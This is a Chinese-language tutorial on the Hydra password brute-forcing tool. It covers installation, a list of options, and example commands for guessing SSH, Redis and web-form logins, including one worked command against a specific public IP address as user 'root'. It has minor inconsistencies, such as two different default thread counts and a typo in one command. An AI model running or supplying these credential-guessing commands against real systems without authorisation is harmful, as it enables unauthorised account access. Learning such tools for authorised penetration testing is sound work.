介绍

  1. Hydra对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSHFTP等服务,支持LinuxWindowsMac平台安装,其中Kali Linux中自带Hydra
  2. Kali LinuxHydra

安装

kali linux 中自带

Windows中Hydra安装

Hydra官方不支持Windows版,需要在GitHub上下载,地址为:
https://github.com/maaaaz/thc-hydra-windows
下载之后解压缩即可。

常用参数
Options:
-R 继续从上一次进度接着破解
-I 忽略已破解的文件进行破解
-S 采用SSL链接
-s PORT 指定非默认服务端口
-l LOGIN 指定用户名破解
-L FILE 指定用户名字典
-p PASS 指定密码破解
-P FILE 指定密码字典
-y 爆破中不使用符号
-e nsr "n"尝试空密码, "s"尝试指定密码,"r"反向登录
-C FILE 使用冒号分割格式,例如"登录名:密码"来代替-L/-P参数
-M FILE 每行一条攻击的服务器列表, ':'指定端口
-o FILE 指定结果输出文件
-b FORMAT 为-o FILE输出文件指定输出格式:text(默认), json, jsonv1
-f / -F 找到登录名和密码时停止破解
-t TASKS 设置运行的线程数,默认是16
-w / -W TIME 设置最大超时的时间,单位秒,默认是30s
-c TIME 每次破解等待所有线程的时间
-4 / -6 使用IPv4(默认)或IPv6
-v / -V 显示详细过程
-q 不打印连接失败的信息
-U 服务模块详细使用方法
-h 更多命令行参数介绍
server 目标DNS、IP地址或一个网段
service 要破解的服务名
OPT 一些服务模块的可选参数

爆破ssh

hydra -L username.txt -P wordlist.txt ssh://ip:port


# 如果使用的默认端口 可以这样
hydra -L username.txt -P wordlist.xt ip port

# 如果爆破服务没有账户就可以这样
hydra -P wordlist.txt redis://ip:port

爆破网页

hydra -l admin -P rockyou.txt ip http-get '/inferno/'

爆破网页详细高级用法

hydra -t 1 -l root -P cyzidian.txt -o out.txt -vV -f 58.155.106.35 http-post-form "/:username=^USER^&password=^PASS^:error"

-t 1 控制线程数 无此选项默认12线程,经过测试这个服务端线程开太多会无响应,所以在这里制定为1(大家应该自行尝试最佳线程数)。
-l root 指定单个用户名“root”。(可替换成-L 字典.txt来指定一系列用户名)
-P cyzidian.txt 指定密码字典cyzidian.txt(可替换成-p 密码 指定单个密码,一般不常用)。
-o out.txt 将尝试过程与结果保存到out.txt
-vV显示详细过程
-f 找到一个结果后停止
58.155.106.35 目标ip地址
http-post-form 使用http协议下的post方法进行破解
"/:username=^USER^&password=^PASS^:error" 最后这段字符串由三部分组成,由其中的两个冒号划分,第一部分只有一个”/“,是指定登录页面所在目录,这个例子刚好在根目录。第二部分:username=^USER^&password=^PASS^,由上文可知这就是刚刚在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换。最后一部分error是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”error“就说明这个密码不正确,原因是我们在随便输入一个错误密码后。